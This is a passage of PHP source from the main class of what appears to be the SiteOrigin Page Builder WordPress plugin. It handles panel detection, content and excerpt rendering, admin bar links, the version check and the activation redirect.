other plugins/themes */ public function init_compat() { if ( defined( 'PAGELAYER_VERSION' ) ) { SiteOrigin_Panels_Compat_Pagelayer::single(); } } /** * @return mixed|void Are we currently viewing the home page. */ public static function is_home() { $home = ( is_front_page() && is_page() && get_option( 'show_on_front' ) == 'page' && get_option( 'page_on_front' ) == get_the_ID() && get_post_meta( get_the_ID(), 'panels_data' ) ); return apply_filters( 'siteorigin_panels_is_home', $home ); } /** * Check if we're currently viewing a page builder page. * * @param bool $can_edit Also check if the user can edit this page * * @return bool */ public static function is_panel( $can_edit = false ) { // Check if this is a panel $is_panel = ( siteorigin_panels_is_home() || ( is_singular() && get_post_meta( get_the_ID(), 'panels_data', false ) ) ); return $is_panel && ( ! $can_edit || ( ( is_singular() && current_user_can( 'edit_post', get_the_ID() ) ) || ( siteorigin_panels_is_home() && current_user_can( 'edit_theme_options' ) ) ) ); } /** * Check if we're in the Live Editor in the frontend. * * @return bool */ public static function is_live_editor() { return ! empty( $_GET['siteorigin_panels_live_editor'] ); } public static function preview_url() { global $post, $wp_post_types; if ( empty( $post ) || empty( $wp_post_types ) || empty( $wp_post_types[ $post->post_type ] ) || ! $wp_post_types[ $post->post_type ]->public ) { $preview_url = add_query_arg( 'siteorigin_panels_live_editor', 'true', admin_url( 'admin-ajax.php?action=so_panels_live_editor_preview' ) ); } else { $preview_url = add_query_arg( 'siteorigin_panels_live_editor', 'true', set_url_scheme( get_permalink() ) ); } $preview_url = wp_nonce_url( $preview_url, 'live-editor-preview', '_panelsnonce' ); return $preview_url; } public static function container_settings() { $container = array( 'selector' => apply_filters( 'siteorigin_panels_theme_container_selector', '' ), 'width' => apply_filters( 'siteorigin_panels_theme_container_width', '' ), 'full_width' => false, ); $container['css_override'] = ! empty( $container['selector'] ) && ! empty( $container['width'] ); return $container; } /** * Get the Page Builder data for the home page. * * @return bool|mixed */ public function get_home_page_data() { $page_id = get_option( 'page_on_front' ); if ( empty( $page_id ) ) { $page_id = get_option( 'siteorigin_panels_home_page_id' ); } if ( empty( $page_id ) ) { return false; } $panels_data = get_post_meta( $page_id, 'panels_data', true ); if ( is_null( $panels_data ) ) { // Load the default layout $layouts = apply_filters( 'siteorigin_panels_prebuilt_layouts', array() ); $panels_data = ! empty( $layouts['default_home'] ) ? $layouts['default_home'] : current( $layouts ); } return $panels_data; } /** * Generate post content for WooCommerce shop page if it's using a PB layout. * * @return string * * @filter woocommerce_format_content */ public function generate_woocommerce_content( $content ) { if ( class_exists( 'WooCommerce' ) && is_shop() ) { return $this->generate_post_content( $content ); } return $content; } /** * Generate post content for the current post. * * @return string * * @filter the_content */ public function generate_post_content( $content ) { global $post, $preview; if ( empty( $post ) && ! in_the_loop() ) { return $content; } if ( ! apply_filters( 'siteorigin_panels_filter_content_enabled', true ) ) { return $content; } $post_id = $this->get_post_id(); // Check if this post has panels_data. if ( get_post_meta( $post_id, 'panels_data', true ) ) { $panel_content = SiteOrigin_Panels::renderer()->render( $post_id, // Add CSS if this is not the main single post, this is handled by add_single_css. $preview || $post_id !== get_queried_object_id() ); if ( ! empty( $panel_content ) ) { $content = $panel_content; if ( ! is_singular() ) { // This is an archive page, so try strip out anything after the more text. if ( preg_match( '/<!--more(.*?)?-->/', $content, $matches ) ) { $content = explode( $matches[0], $content, 2 ); $content = $content[0]; $content = force_balance_tags( $content ); if ( ! empty( $matches[1] ) ) { $more_link_text = strip_tags( wp_kses_no_null( trim( $matches[1] ) ) ); } else { $more_link_text = __( 'Read More', 'siteorigin-panels' ); } $more_link = apply_filters( 'the_content_more_link', ' <a href="' . get_permalink() . "#more-{$post->ID}\" class=\"more-link\">$more_link_text</a>", $more_link_text ); $content .= '<p>' . $more_link . '</p>'; } } } } return $content; } /** * Generate an excerpt for the current post, if possible. * * @return mixed|string */ public function generate_post_excerpt( $text ) { global $post; if ( ( empty( $post ) && ! in_the_loop() ) || $text !== '' ) { return $text; } $post_id = $this->get_post_id(); $panels_data = get_post_meta( $post_id, 'panels_data', true ); // If no panels_data is detected, check if the post has blocks. if ( empty( $panels_data ) ) { if ( function_exists( 'has_blocks' ) && has_blocks( get_the_content() ) ) { $parsed_content = parse_blocks( get_the_content() ); // Check if the first block is an SO Layout Block, and extract panels_data if it is. if ( $parsed_content[0]['blockName'] == 'siteorigin-panels/layout-block' && isset( $parsed_content[0]['attrs'] ) && ! empty( $parsed_content[0]['attrs']['panelsData'] ) ) { $panels_data = $parsed_content[0]['attrs']['panelsData']; } } } if ( $panels_data && ! empty( $panels_data['widgets'] ) ) { $raw_excerpt = ''; $excerpt_length = apply_filters( 'excerpt_length', 55 ); foreach ( $panels_data['widgets'] as $widget ) { // Is the widget valid? if ( empty( $widget['panels_info'] ) ) { continue; } $panels_info = $widget['panels_info']; if ( $panels_info['grid'] > 1 ) { // Limiting search for a text type widget to the first two PB rows to avoid having excerpt content // that's very far down in a post. break; } $widgets = apply_filters( 'siteorigin_panels_excerpt_widgets', array( 'SiteOrigin_Widget_Editor_Widget', 'WP_Widget_Text', 'WP_Widget_Black_Studio_TinyMCE', ) ); if ( empty( $widgets ) ) { break; } if ( in_array( $panels_info['class'], $widgets ) ) { if ( empty( $widget['text'] ) ) { continue; } $raw_excerpt .= ' ' . $widget['text']; // This is all effectively default behavior for excerpts, copied from the `wp_trim_excerpt` function. // We're just applying it to text type widgets content in the first two rows. $text = strip_shortcodes( $raw_excerpt ); $text = str_replace( ']]>', ']]>', $text ); if ( $this->get_localized_word_count( $text ) >= $excerpt_length ) { break; } // Check for more quicktag. if ( strpos( $text, '<!--more' ) !== false ) { // Only return everything prior to more quicktag. $raw_excerpt = explode( '<!--more', $text )[0]; $excerpt_length = $this->get_localized_word_count( $raw_excerpt ); break; } } } $text = strip_shortcodes( $raw_excerpt ); $text = str_replace( ']]>', ']]>', $text ); $excerpt_more = apply_filters( 'excerpt_more', ' ' . '[…]' ); $text = wp_trim_words( $text, $excerpt_length, $excerpt_more ); } return $text; } private function get_localized_word_count( $text ) { // From the core `wp_trim_words` function to get localized word count. $text = wp_strip_all_tags( $text ); if ( strpos( _x( 'words', 'Word count type. Do not translate!' ), 'characters' ) === 0 && preg_match( '/^utf\-?8$/i', get_option( 'blog_charset' ) ) ) { $text = trim( preg_replace( "/[\n\r\t ]+/", ' ', $text ), ' ' ); preg_match_all( '/./u', $text, $words_array ); $words_array = $words_array[0]; } else { $words_array = preg_split( "/[\n\r\t ]+/", $text, -1, PREG_SPLIT_NO_EMPTY ); } return count( $words_array ); } /** * Generate CSS for the current post */ public function generate_post_css() { $post_id = $this->get_post_id(); if ( is_singular() && get_post_meta( $post_id, 'panels_data', true ) ) { $renderer = SiteOrigin_Panels::renderer(); $renderer->add_inline_css( $post_id, $renderer->generate_css( $post_id ) ); } } /** * Get the post id for the current post. */ public function get_post_id() { $post_id = get_the_ID(); if ( class_exists( 'WooCommerce' ) && is_shop() ) { $post_id = wc_get_page_id( 'shop' ); } global $preview; // If we're viewing a preview make sure we load and render the autosave post's meta. if ( $preview ) { $preview_post = wp_get_post_autosave( $post_id, get_current_user_id() ); if ( ! empty( $preview_post ) ) { $post_id = $preview_post->ID; } } return $post_id; } /** * Add all the necessary body classes. * * @return array */ public function body_class( $classes ) { if ( self::is_panel() ) { $classes[] = 'siteorigin-panels'; $classes[] = 'siteorigin-panels-before-js'; add_action( 'wp_footer', array( $this, 'strip_before_js' ), 99 ); } if ( self::is_home() ) { $classes[] = 'siteorigin-panels-home'; } if ( self::is_live_editor() ) { $classes[] = 'siteorigin-panels-live-editor'; } $this->container = SiteOrigin_Panels::container_settings(); if ( ! empty( $this->container ) && $this->container['css_override'] ) { $classes[] = 'siteorigin-panels-css-container'; } return $classes; } /** * Add the Edit Home Page item to the admin bar. * * @param WP_Admin_Bar $admin_bar * * @return WP_Admin_Bar */ public function admin_bar_menu( $admin_bar ) { // Add the edit home page link if ( siteorigin_panels_setting( 'home-page' ) && current_user_can( 'edit_theme_options' ) && ( is_home() || is_front_page() ) ) { if ( ( is_page() && get_post_meta( get_the_ID(), 'panels_data', true ) !== '' ) || ! is_page() ) { $admin_bar->add_node( array( 'id' => 'edit-home-page', 'title' => __( 'Edit Home Page', 'siteorigin-panels' ), 'href' => admin_url( 'themes.php?page=so_panels_home_page' ), ) ); if ( is_page() ) { // Remove the standard edit button $admin_bar->remove_node( 'edit' ); } } } // Add a Live Edit link if this is a Page Builder page that the user can edit. if ( siteorigin_panels_setting( 'live-editor-quick-link' ) && is_singular() && current_user_can( 'edit_post', get_the_ID() ) && get_post_meta( get_the_ID(), 'panels_data', true ) ) { $admin_bar->add_node( array( 'id' => 'so_live_editor', 'title' => __( 'Live Editor', 'siteorigin-panels' ), 'href' => add_query_arg( 'so_live_editor', 1, get_edit_post_link( get_the_ID() ) ), 'meta' => array( 'class' => 'live-edit-page', ), ) ); add_action( 'wp_enqueue_scripts', array( $this, 'live_edit_link_style' ) ); } return $admin_bar; } public function register_general_scripts() { if ( ! wp_script_is( 'fitvids', 'registered' ) ) { wp_register_script( 'fitvids', esc_url( siteorigin_panels_url( 'js/lib/jquery.fitvids' . SITEORIGIN_PANELS_JS_SUFFIX . '.js' ) ), array( 'jquery' ), SITEORIGIN_PANELS_VERSION ); } } public function widgets_init() { register_widget( 'SiteOrigin_Panels_Widgets_PostContent' ); register_widget( 'SiteOrigin_Panels_Widgets_PostLoop' ); register_widget( 'SiteOrigin_Panels_Widgets_Layout' ); } public function live_edit_link_style() { if ( is_singular() && current_user_can( 'edit_post', get_the_ID() ) && get_post_meta( get_the_ID(), 'panels_data', true ) ) { // Add the style for the eye icon before the Live Editor link. $css = '#wpadminbar #wp-admin-bar-so_live_editor > .ab-item:before { content: "\f177"; top: 2px; }'; wp_add_inline_style( 'siteorigin-panels-front', $css ); } } /** * Process panels data to make sure everything is properly formatted. * * @param array $panels_data * * @return array */ public function process_panels_data( $panels_data ) { // Process all widgets to make sure that panels_info is properly represented. if ( ! empty( $panels_data['widgets'] ) && is_array( $panels_data['widgets'] ) ) { $last_gi = 0; $last_ci = 0; $last_wi = 0; foreach ( $panels_data['widgets'] as &$widget ) { // Transfer legacy content if ( empty( $widget['panels_info'] ) && ! empty( $widget['info'] ) ) { $widget['panels_info'] = $widget['info']; unset( $widget['info'] ); } // Filter the widgets to add indexes. if ( $widget['panels_info']['grid'] != $last_gi ) { $last_gi = $widget['panels_info']['grid']; $last_ci = $widget['panels_info']['cell']; $last_wi = 0; } elseif ( $widget['panels_info']['cell'] != $last_ci ) { $last_ci = $widget['panels_info']['cell']; $last_wi = 0; } $widget['panels_info']['cell_index'] = $last_wi ++; } foreach ( $panels_data['grids'] as &$grid ) { if ( ! empty( $grid['style'] ) && is_string( $grid['style'] ) ) { $grid['style'] = array(); } } } return $panels_data; } /** * Fix class names that have been incorrectly escaped. * * @return mixed */ public function fix_namespace_escaping( $class ) { return preg_replace( '/\\\\+/', '\\', $class ); } public static function front_css_url() { return self::renderer()->front_css_url(); } /** * Trigger a siteorigin_panels_version_changed action if the version has changed. */ public function version_check() { $active_version = get_option( 'siteorigin_panels_active_version', false ); if ( empty( $active_version ) || $active_version !== SITEORIGIN_PANELS_VERSION ) { do_action( 'siteorigin_panels_version_changed' ); update_option( 'siteorigin_panels_active_version', SITEORIGIN_PANELS_VERSION ); // Clear layout directory cache after update to account for bug in versions 2.29.18 and below. delete_transient( 'siteorigin_panels_layouts_directory_siteorigin_page_2' ); } } /** * Script that removes the siteorigin-panels-before-js class from the body. */ public function strip_before_js() { ?><script>document.body.className = document.body.className.replace("siteorigin-panels-before-js","");</script><?php } /** * Should we display premium addon messages. * * @return bool */ public static function display_premium_teaser() { return siteorigin_panels_setting( 'display-teaser' ) && apply_filters( 'siteorigin_premium_upgrade_teaser', true ) && ! defined( 'SITEORIGIN_PREMIUM_VERSION' ); } /** * Get the premium upgrade URL. * * @return string */ public static function premium_url( $featured_addon = false ) { $ref = apply_filters( 'siteorigin_premium_affiliate_id', '' ); $url = 'https://siteorigin.com/downloads/premium/?featured_plugin=siteorigin-panels'; if ( ! empty( $featured_addon ) ) { $url = add_query_arg( 'featured_addon', urlencode( $featured_addon ), $url ); } if ( ! empty( $ref ) ) { $url = add_query_arg( 'ref', urlencode( $ref ), $url ); } return $url; } /** * Get the registered widget instance by it's class name or the hash generated when it was registered. * * @return array */ public static function get_widget_instance( $class_or_hash ) { global $wp_widget_factory; if ( isset( $wp_widget_factory->widgets[ $class_or_hash ] ) ) { return $wp_widget_factory->widgets[ $class_or_hash ]; } else { foreach ( $wp_widget_factory->widgets as $widget_instance ) { if ( $widget_instance instanceof $class_or_hash ) { return $widget_instance; } } } return null; } /** * Flag redirect to welcome page after activation. */ public function activated_plugin( $plugin ) { if ( $plugin == plugin_basename( __FILE__ ) ) { set_transient( 'siteorigin_panels_activation_welcome', true, 30 ); } $this->deactivated_plugin( $plugin ); } public function deactivated_plugin( $plugin ) { delete_transient( 'siteorigin_panels_widgets' ); delete_transient( 'siteorigin_panels_widget_dialog_tabs' ); } /** * Redirect to a welcome page after activation. */ public function activation_do_redirect() { if ( get_transient( 'siteorigin_panels_activation_welcome' ) ) { delete_transient( 'siteorigin_panels_activation_welcome' ); // Postpone redirect in certain situations if ( ! wp_doing_ajax() && ! is_network_admin() && ! isset( $_GET['activate-multi'] ) ) { delete_transient( 'siteorigin_panels_activation_welcome' ); wp_safe_redirect( admin_url( 'options-general.php?page=siteorigin_panels#welcome' ) ); exit(); } } } } SiteOrigin_Panels::single();